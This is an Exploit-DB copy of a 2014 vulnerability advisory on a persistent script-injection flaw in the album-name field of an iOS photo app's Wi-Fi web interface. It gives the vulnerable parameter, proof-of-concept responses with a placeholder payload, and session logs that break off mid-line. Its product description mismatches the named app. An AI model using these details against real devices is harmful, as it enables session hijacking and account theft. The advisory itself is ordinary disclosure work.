Exploit-DB #32703
Description: Private Photo+Video 1.1 Pro iOS - Persistent
Type: webapps
Platform: ios
Date: 2014-04-05
Author: Vulnerability-Lab

Exploit:
Document Title:
===============
Private Photo+Video v1.1 Pro iOS - Persistent Vulnerability 


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1249


Release Date:
=============
2014-04-01


Vulnerability Laboratory ID (VL-ID):
====================================
1249


Common Vulnerability Scoring System:
====================================
3.8


Product & Service Introduction:
===============================
Image Downloader Pro helps you easily download unlimited images to your iPhone, FAST and CONVENIENTLY. You can easily download 
your favourite photos and instantly view them on your iPhone ANYTIME, ANYWHERE.

It is pretty HANDY! A collection of helpful photo websites are there waiting for you. You can see what`s happening and easily 
download your favourite moment. What you need to do is just to click one of the bookmarks and then click `download` when your 
favorite photos hop out !

Other features:
- Bookmarks of various photo websites are ready here
- You can enjoy the amazingly fast downloading
- You can still make the largest album of your own favorite photos

(Copy of the Homepage: https://itunes.apple.com/us/app/private-photo+video-pro-secret/id518972230 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a persistent validation web vulnerability in the official Private Photo+Video v1.1 Pro iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2014-04-01:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Free Music Download, Pro Downloader, Player & Lite Manager
Product: Private Photo+Video Pro - iOS Mobile Web Application 1.1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered  in the official Private Photo+Video v1.1 Pro iOS mobile web-application.
The bug allows remote attackers to inject own malicious persistent script codes to the application-side of the vulnerable service.

The vulnerability is located in the name value of the add `New Album` input module. Remote attackers are able to inject own malicious 
script codes to the album name value input. The attacker vector is persistent and the injetction request method is GET. The inject can 
be done by an album rename/add via mobile sync or by the web-interface via new album function. The security risk of the persistent web 
vulnerability is estimated as medium(+) with a cvss (common vulnerability scoring system) count of 3.7(+)|(-)3.8.

Exploitation of the persistent web vulnerability requires low user interaction and a local low privileged mobile application account 
or access to the local web interface service. Successful exploitation of the vulnerability results in persistent session hijacking (customers), 
account steal via persistent web attacks, persistent phishing or persistent manipulation of module context.

Request Method(s):
				[+] GET

Vulnerable Module(s):
				[+] New Album

Vulnerable Parameter(s):
				[+] albumname > path value

Affected Module(s):
				[+] FileManager > Path Dir Index Listing


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability in the album name value can be exploited by local attackers via album sync but also by 
remote attackers via web interface. In both cases low user interaction is required to exploit the web vulnerability. To reproduce the issue 
or for security demonstration follow the provided information and steps below to continue.

PoC: JSON JQ Request

Request </cgi/album/list?0[PII_REDACTED]4797618>
JSON: {"albums":[{"id":"3", "title":"Downloaded", "num":"0", "thumb":"/cgi/album/thumb/3", "password":"yes"},
{"id":"137", "title":"%20'.[PERSISTENT INJECTED SCRIPT CODE!]>", "num":"0", "thumb":"/cgi/album/thumb/5", "password":"no"}]}


PoC: WiFi Manager (Path Dir Listing) > Albumname

<div id="content_container" class="content">
<div class="folder">
<ul id="album_list" class="foldercontainer"><li class="j_list_album" alt="0">
<a alt="0" href="###"><p>%20'.[PERSISTENT INJECTED SCRIPT CODE!] <em>(0)</em></p></a></li></ul>
<div class="newalbum"><input id="new_album" class="button" value="New Album" type="button"></div>
			</div>
			<div class="photos">
				<div id="current_album_title" class="albumtitle"></div>
				<div id="photo_list_container" class="list" style="display:none">
					<ul id="photo_list" class="photocontainer"></ul>
					<div class="pagecontrol"><p id="page_control"></p></div>
				</div>
				<div class="toolbar">
					<input id="import_photos" class="button" value="Import" type="button">
				</div>
			</div>
		</div>

Note: The issue can be exploited by local attackers with physical device access (album sync) but also by remote attackers (wifi ui) via the `add new albums` module.


--- PoC Session Logs [GET] ---

18:39:26.834[161ms][total 161ms] Status: 200[OK]
GET http://localhost:8080/cgi/album/list?0[PII_REDACTED]3383083 Load Flags[LOAD_BACKGROUND  VALIDATE_ALWAYS ] Gr��e des Inhalts[103] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0]
      Accept[application/json, text/javascript, */*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   Response Header:
      Content-Length[103]
      Connection[close]


18:39:26.999[58ms][total 58ms] Status: 200[OK]
GET http://localhost:808